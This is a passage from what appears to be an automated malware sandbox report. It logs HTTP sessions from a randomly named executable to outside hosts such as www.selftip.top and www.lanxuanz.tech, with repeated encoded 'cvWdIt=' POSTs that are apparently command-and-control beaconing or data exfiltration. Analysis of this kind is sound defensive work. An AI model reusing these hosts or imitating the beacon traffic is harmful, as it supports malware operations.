                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Data Raw: 63 76 57 64 49 74 3d 53 4a 54 6c 46 64 39 4f 6e 32 36 32 48 48 50 51 75 2b 6a 69 49 71 4f 46 62 46 55 50 70 6f 55 62 2b 6d 72 64 35 32 78 6f 38 4d 79 70 37 68 2b 51 56 46 48 4c 69 65 47 39 51 65 45 53 4a 67 69 38 39 43 36 35 37 44 7a 35 6a 43 4d 4b 73 78 4c 4c 66 41 7a 55 30 6f 39 37 42 44 70 4a 67 58 2b 33 5a 72 47 74 38 57 4b 6d 6e 74 66 74 65 38 4c 4d 55 4f 74 38 75 55 4c 64 32 42 31 35 38 73 4d 39 79 73 74 45 48 4f 5a 73 4a 6b 61 5a 64 75 6e 4f 6c 73 62 6b 78 57 39 52 31 64 55 67 4c 63 41 58 61 6c 2f 4b 44 71 55 70 30 38 36 79 61 63 2f 6e 62 59 6e 4a 46 43 2f 36 37 77 72 38 49 6f 58 61 57 55 55 4e 42 46 59 74 6d 67 75 33 36 76 6e 79 58 69 54 38 5a 67 61 55 35 52 78 5a 4f 72 75 59 63 58 78 31 6a 4f 51 4d 34 6d 7a 56 6c 47 38 55 5a 64 45 77 53 69 69 69 4b 30 63 63 30 4e 6c 31 4f 39 76 79 70 32 45 41 36 34 6f 6b 61 68 4b 75 76 76 74 54 4b 67 56 6b 6b 4d 61 30 6d 43 6a 77 32 43 7a 45 65 79 73 2b 68 4d 73 32 55 5a 68 55 43 53 48 5a 4f 53 58 73 2b 63 5a 6d 64 57 44 75 34 68 38 68 37 72 6c 30 65 42 76 [TRUNCATED]
                                                                        Data Ascii: cvWdIt=SJTlFd9On262HHPQu+jiIqOFbFUPpoUb+mrd52xo8Myp7h+QVFHLieG9QeESJgi89C657Dz5jCMKsxLLfAzU0o97BDpJgX+3ZrGt8WKmntfte8LMUOt8uULd2B158sM9ystEHOZsJkaZdunOlsbkxW9R1dUgLcAXal/KDqUp086yac/nbYnJFC/67wr8IoXaWUUNBFYtmgu36vnyXiT8ZgaU5RxZOruYcXx1jOQM4mzVlG8UZdEwSiiiK0cc0Nl1O9vyp2EA64okahKuvvtTKgVkkMa0mCjw2CzEeys+hMs2UZhUCSHZOSXs+cZmdWDu4h8h7rl0eBv1VVjrb8/zfbA3Pz5fTo34sbdzwxAmMn0detg5Rf9GxPJb9JQww4Q9sIvZRGsL6Uwifzwnrvw/BhjKu4bueRMYMi9IOgmKaxCfTNmHs7PLfRrbODekJbZQLdYMsy5aRF3chI7j2X0sMkzYq09z5gJahQWftmjmVwDCLgMU8MDo5k63aclWxBv1yQlcIPiUDbAQPfnRhofDRNy+z/KUJqlJv+qPBrvZ5k6Gx0AG5d4bExNuRYHvBFv8Ap3T6qeGKrvTZAi8RZg9mpO0nTC3nM9wC1hjzcpykfbBEX28Q69+NdDliYSTMF+SlNt6AY1uO1SZZmXa8iAQpnW4QYDDXc0f1Od4pqOHBGK/kEIWC6Qsslj9By9Amn2zzqrq6JlBkY+WVr/Xu8Ejtpa2NmTMIQ0d2FowPH9Ds6EP/183piJZFiUK2gNv93p4LSvLD000oWl+HfdCpuGnGTbFZWDOLEPaC6Qfy93fkXDsUYIU9X4NKpduuUb7NKn/sTvldiHwtYLZFD/GXmlorhlqN62bT3p13Dx9YAulkavUv1WnLaOzAMJvBEHKsiD6S1BzWw2tAGAkWvCKqlgmw5QngKybOtu8ujdOR0U4EP3BOWZVyPQgWJLJ/gW+SsAbNhx0sj2dF/EGO6y15JfkMo/6us6Y6E4vkBHNVGvGPg0O7 [TRUNCATED]
                                                                        Oct 2, 2024 15:17:35.464034081 CEST549INHTTP/1.1 400
                                                                        Server: ZGS
                                                                        Date: Wed, 02 Oct 2024 13:17:35 GMT
                                                                        Content-Type: text/html;charset=ISO-8859-1
                                                                        Content-Length: 80
                                                                        Connection: close
                                                                        Set-Cookie: zalb_8ae64e9492=dd79e43911dfa5b823adc166d5a51b68; Path=/
                                                                        Set-Cookie: csrfc=6bb5ceda-1bb5-481c-99a4-4d8cc0df5055;path=/;priority=high
                                                                        Set-Cookie: _zcsr_tmp=6bb5ceda-1bb5-481c-99a4-4d8cc0df5055;path=/;SameSite=Strict;priority=high
                                                                        Set-Cookie: JSESSIONID=071EB65F27DE22330CECB5C31B6E0DA7; Path=/; HttpOnly
                                                                        Data Raw: 7b 22 72 65 73 70 6f 6e 73 65 5f 63 6f 64 65 22 3a 22 34 30 30 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 22 31 22 2c 22 64 65 76 65 6c 6f 70 65 72 5f 6d 65 73 73 61 67 65 22 3a 22 49 6e 76 61 6c 69 64 20 69 6e 70 75 74 2e 22 7d 0a 0a
                                                                        Data Ascii: {"response_code":"400","status_code":"1","developer_message":"Invalid input."}


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        24192.168.2.555603136.143.186.12801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:17:37.323844910 CEST522OUTGET /ivo1/?cvWdIt=fL7FGqwZgFyeKETKnMvcF6/2X0xLn+ZD0XO9xnYIy5nXxzuHXVLl0+u5SqQtPDeu0FT/+Cn/ojl8jT3mUhnhvZd7UwgDvm6CV/Kdv2aRhtGTCKLAdrlbvWydzVsR1tMxiQ==&B0yh=QxoXDZd HTTP/1.1
                                                                        Host: www.lanxuanz.tech
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Connection: close
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Oct 2, 2024 15:17:37.940375090 CEST1236INHTTP/1.1 404
                                                                        Server: ZGS
                                                                        Date: Wed, 02 Oct 2024 13:17:37 GMT
                                                                        Content-Type: text/html
                                                                        Content-Length: 4641
                                                                        Connection: close
                                                                        Set-Cookie: zalb_8ae64e9492=ed5ecf2ddf0efdb48949d480344efa60; Path=/
                                                                        Set-Cookie: csrfc=2c651a63-13eb-4558-9bc8-a453b0c8a295;path=/;priority=high
                                                                        Set-Cookie: _zcsr_tmp=2c651a63-13eb-4558-9bc8-a453b0c8a295;path=/;SameSite=Strict;priority=high
                                                                        Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate
                                                                        Pragma: no-cache
                                                                        Expires: Thu, 01 Jan 1970 00:00:00 GMT
                                                                        vary: accept-encoding
                                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 2c 20 6e 6f 61 72 63 68 69 76 65 2c 20 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0a 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 5a 6f 68 6f 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 77 65 62 66 6f 6e 74 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 34 30 30 2c 36 30 30 22 3e 0a 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 4f 70 65 6e 20 53 61 6e 73 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 78 3b 0a 20 20 20 20 20 20 [TRUNCATED]
                                                                        Data Ascii: <!DOCTYPE html><html> <head> <meta name="robots" content="noindex, nofollow, noarchive, nosnippet" /> <title>Zoho</title> <link type="text/css" rel="stylesheet" href="/webfonts?family=Open+Sans:400,600"> <style> body{ font-family:"Open Sans", sans-serif; font-size:11px; margin:0px; padding:0px; background-color:#f5f5f5; } .topColors{ background: -moz-linear-gradient(left, #f0473d 0%, #f0473d 25%, #049735 25%, #049735 50%, #0086d5 50%, #0086d5 75%, #fdc000 75%,#fdc000 100%); background: -webkit-linear-gradient(left, #f0473d 0%, #f0473d 25%, #049735 25%, #049735 50
                                                                        Oct 2, 2024 15:17:37.940391064 CEST224INData Raw: 25 2c 20 23 30 30 38 36 64 35 20 35 30 25 2c 20 23 30 30 38 36 64 35 20 37 35 25 2c 20 23 66 64 63 30 30 30 20 37 35 25 2c 23 66 64 63 30 30 30 20 31 30 30 25 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a
                                                                        Data Ascii: %, #0086d5 50%, #0086d5 75%, #fdc000 75%,#fdc000 100%); background-size:452px auto;height:3px; } .mainContainer{ width:1000px; margin:0px auto; } .logo{
                                                                        Oct 2, 2024 15:17:37.940402985 CEST1236INData Raw: 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 31 38 70 78 20 30 70 78 3b 0a 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 2e 63 6f
                                                                        Data Ascii: margin-top:3px; padding:18px 0px; } .content{ background-color:#fff; border-radius:4px; border-left:1px solid #e9e9e9; border-right:1px solid #e9e9e9;
                                                                        Oct 2, 2024 15:17:37.940459967 CEST1236INData Raw: 6f 6d 61 69 6e 2d 63 6f 6c 6f 72 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 23 30 30 38 36 44 35 3b 20 0a 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 2e 6d 61 69 6e 2d 69 6e 66 6f 7b 20 20 0a 20 20 20 20 20 20
                                                                        Data Ascii: omain-color{ color:#0086D5; } .main-info{ margin-top: 40px; } .main-info li { font-size: 16px; padding: 10px 0; list-style:none;
                                                                        Oct 2, 2024 15:17:37.940471888 CEST1235INData Raw: 20 20 20 20 7d 0a 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 6f 70 43 6f 6c 6f 72 73 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20
                                                                        Data Ascii: } </style> </head> <body> <div class="topColors"></div> <div class="mainContainer"> <div class="logo"><img src="https://contacts.zoho.com/static/file?t=org&ID=456089&fs=thumb" alt="Zoho"></div> <di


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        25192.168.2.555604199.192.21.169801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:17:43.519705057 CEST773OUTPOST /85su/ HTTP/1.1
                                                                        Host: www.selftip.top
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Accept-Encoding: gzip, deflate
                                                                        Origin: http://www.selftip.top
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Connection: close
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 207
                                                                        Referer: http://www.selftip.top/85su/
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Data Raw: 63 76 57 64 49 74 3d 7a 31 70 61 63 58 76 33 7a 71 55 44 6a 4c 39 45 77 69 6c 58 6f 52 6b 48 46 61 4a 2b 56 76 73 6b 31 79 70 46 5a 55 4d 44 64 50 39 50 4f 6c 38 76 77 4c 41 4b 67 73 36 6c 53 51 6c 6c 63 68 6d 2b 2f 41 70 4b 50 42 63 41 73 79 70 2b 70 66 4c 55 6b 74 6d 77 45 76 6a 78 47 6c 47 6c 59 39 31 4b 2f 62 48 55 70 59 6c 6a 46 6d 75 75 6b 31 43 53 72 74 30 66 33 37 71 39 6d 57 77 74 57 6f 68 54 7a 47 6b 68 4b 54 61 33 74 54 4c 71 58 62 61 33 2f 7a 4e 4a 48 73 77 32 57 42 52 55 6a 39 6d 7a 6a 61 53 43 66 71 71 6c 50 36 50 6c 62 43 71 79 76 73 42 6b 33 75 4b 4d 4b 4b 69 38 31 4e 6f 38 76 50 71 34 70 42 4d 3d
                                                                        Data Ascii: cvWdIt=z1pacXv3zqUDjL9EwilXoRkHFaJ+Vvsk1ypFZUMDdP9POl8vwLAKgs6lSQllchm+/ApKPBcAsyp+pfLUktmwEvjxGlGlY91K/bHUpYljFmuuk1CSrt0f37q9mWwtWohTzGkhKTa3tTLqXba3/zNJHsw2WBRUj9mzjaSCfqqlP6PlbCqyvsBk3uKMKKi81No8vPq4pBM=
                                                                        Oct 2, 2024 15:17:44.103954077 CEST980INHTTP/1.1 404 Not Found
                                                                        Date: Wed, 02 Oct 2024 13:17:44 GMT
                                                                        Server: Apache
                                                                        X-Frame-Options: SAMEORIGIN
                                                                        Content-Length: 774
                                                                        X-XSS-Protection: 1; mode=block
                                                                        Connection: close
                                                                        Content-Type: text/html
                                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED]
                                                                        Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        26192.168.2.555605199.192.21.169801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:17:46.067388058 CEST793OUTPOST /85su/ HTTP/1.1
                                                                        Host: www.selftip.top
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Accept-Encoding: gzip, deflate
                                                                        Origin: http://www.selftip.top
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Connection: close
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 227
                                                                        Referer: http://www.selftip.top/85su/
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Data Raw: 63 76 57 64 49 74 3d 7a 31 70 61 63 58 76 33 7a 71 55 44 69 71 4e 45 32 7a 6c 58 6b 68 6b 45 4c 36 4a 2b 65 50 73 67 31 79 6c 46 5a 56 35 49 64 39 70 50 50 45 4d 76 69 36 41 4b 7a 63 36 6c 59 77 6c 67 44 78 6e 79 2f 41 56 43 50 42 51 41 73 7a 4e 2b 70 64 44 55 6c 65 65 78 43 76 6a 7a 4f 46 47 72 46 4e 31 4b 2f 62 48 55 70 59 78 4a 46 6e 47 75 6a 46 79 53 72 4a 6f 41 37 62 72 50 6a 6d 77 74 53 6f 67 61 7a 47 6b 50 4b 57 37 71 74 51 6a 71 58 65 6d 33 2f 69 4e 49 49 73 77 38 49 78 51 47 74 63 53 32 71 4c 75 41 55 4e 62 45 50 34 66 75 65 30 48 59 31 4f 4a 4d 6b 4f 6d 30 61 5a 71 4c 6b 39 4a 56 31 73 36 49 33 57 59 67 4c 54 50 4f 2b 36 6c 2b 4f 32 33 63 42 70 33 49 72 77 53 52
                                                                        Data Ascii: cvWdIt=z1pacXv3zqUDiqNE2zlXkhkEL6J+ePsg1ylFZV5Id9pPPEMvi6AKzc6lYwlgDxny/AVCPBQAszN+pdDUleexCvjzOFGrFN1K/bHUpYxJFnGujFySrJoA7brPjmwtSogazGkPKW7qtQjqXem3/iNIIsw8IxQGtcS2qLuAUNbEP4fue0HY1OJMkOm0aZqLk9JV1s6I3WYgLTPO+6l+O23cBp3IrwSR
                                                                        Oct 2, 2024 15:17:46.657394886 CEST980INHTTP/1.1 404 Not Found
                                                                        Date: Wed, 02 Oct 2024 13:17:46 GMT
                                                                        Server: Apache
                                                                        X-Frame-Options: SAMEORIGIN
                                                                        Content-Length: 774
                                                                        X-XSS-Protection: 1; mode=block
                                                                        Connection: close
                                                                        Content-Type: text/html
                                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED]
                                                                        Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        27192.168.2.555606199.192.21.169801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:17:48.606863022 CEST1810OUTPOST /85su/ HTTP/1.1
                                                                        Host: www.selftip.top
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Accept-Encoding: gzip, deflate
                                                                        Origin: http://www.selftip.top
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Connection: close
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 1243
                                                                        Referer: http://www.selftip.top/85su/
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Data Raw: 63 76 57 64 49 74 3d 7a 31 70 61 63 58 76 33 7a 71 55 44 69 71 4e 45 32 7a 6c 58 6b 68 6b 45 4c 36 4a 2b 65 50 73 67 31 79 6c 46 5a 56 35 49 64 39 78 50 50 33 45 76 7a 70 59 4b 77 63 36 6c 47 67 6c 68 44 78 6e 37 2f 41 4e 47 50 42 4d 50 73 78 46 2b 6d 65 62 55 69 76 65 78 52 50 6a 7a 4d 46 47 71 59 39 31 6c 2f 62 33 59 70 59 68 4a 46 6e 47 75 6a 48 71 53 37 4e 30 41 35 62 71 39 6d 57 77 68 57 6f 68 7a 7a 47 39 79 4b 57 2b 64 74 68 44 71 58 2b 57 33 39 51 6c 49 42 73 77 79 4a 78 52 44 74 63 50 6d 71 4c 79 71 55 49 6e 69 50 36 2f 75 64 43 47 45 67 4d 55 62 38 75 2b 31 52 59 6e 72 36 35 46 6f 33 4e 53 38 39 30 42 45 4c 51 72 42 35 61 6b 37 41 45 4b 4e 66 73 58 46 6a 6e 61 5a 77 61 53 32 36 70 63 59 48 45 5a 79 6e 4e 2b 31 58 34 64 79 4e 69 42 63 46 71 76 77 30 2b 6c 2b 52 4c 2b 52 52 74 78 67 4f 52 6e 51 64 72 55 4d 4e 7a 76 4c 32 45 62 55 33 51 66 5a 39 6e 76 41 4c 7a 41 4a 68 33 79 6c 58 57 4e 6d 75 69 48 66 50 6b 43 51 34 74 62 61 30 78 6b 64 64 54 43 67 48 59 45 62 34 57 66 4d 32 6a 33 35 66 36 66 [TRUNCATED]
                                                                        Data Ascii: cvWdIt=z1pacXv3zqUDiqNE2zlXkhkEL6J+ePsg1ylFZV5Id9xPP3EvzpYKwc6lGglhDxn7/ANGPBMPsxF+mebUivexRPjzMFGqY91l/b3YpYhJFnGujHqS7N0A5bq9mWwhWohzzG9yKW+dthDqX+W39QlIBswyJxRDtcPmqLyqUIniP6/udCGEgMUb8u+1RYnr65Fo3NS890BELQrB5ak7AEKNfsXFjnaZwaS26pcYHEZynN+1X4dyNiBcFqvw0+l+RL+RRtxgORnQdrUMNzvL2EbU3QfZ9nvALzAJh3ylXWNmuiHfPkCQ4tba0xkddTCgHYEb4WfM2j35f6fP/ADgkrz9k9TnwbsItu82PS0ROEzJXG+Q+1m+c5gCJIEtMPNUSkDauGrylP+xnj/NDd4AQij7ncI1tVam8lHPn+s8micmC07N4myAH9PJU6L5OqEFCPWGLycrHc1nQCK156U60EG/9Yh+Ng1g75DpyxAOfy6ShOGOxit/h7t4qP/eG/q5XtVcmaCI3jq6iXYNL8Lm/V+/MLEf/nWZd3IRlIhmw4zRyVtDb387IZkVIJH7R6X2D8gpC4dRGntNT3SvlnUmmflZ+7uRqriCHB2G4EkQHwf3mez83XAa0WJ7jnFLsXgpHKYyhYHnPJjqgURvNJaTQFuExIdSLafBZS78e7Bu53TPKdgZADPNVtf+HZkt+x5/71cT/n3tse8QL+O8ZnAQAehqBqzzjkkoZwiPAxBWRM4Y63iQHC6AEwOKkKDijT5B2fWG0PhF+jZbAYdXTW0oAXgQPXSkT7PbAQGVYTe+7UY+2CXsjMxph+ZEVVoQbRfH9pVjifuDhd5fZwb0H1hz5II+NxHm6WmTxh0ORtM4JGbLMfiNW5nzrxOabVhRtOyeO3JT50EkQOrilctIaSjBnfcRQFgSrsPTfKOd3J2pm3lBqXOKS6sGyRdW+CtWlWVJdEUqJW3s8GA9HTMnlISSNvScLXU091Nn7KGM0DGTAg7ZNXdZu [TRUNCATED]
                                                                        Oct 2, 2024 15:17:49.215279102 CEST980INHTTP/1.1 404 Not Found
                                                                        Date: Wed, 02 Oct 2024 13:17:49 GMT
                                                                        Server: Apache
                                                                        X-Frame-Options: SAMEORIGIN
                                                                        Content-Length: 774
                                                                        X-XSS-Protection: 1; mode=block
                                                                        Connection: close
                                                                        Content-Type: text/html
                                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED]
                                                                        Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        28192.168.2.555607199.192.21.169801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
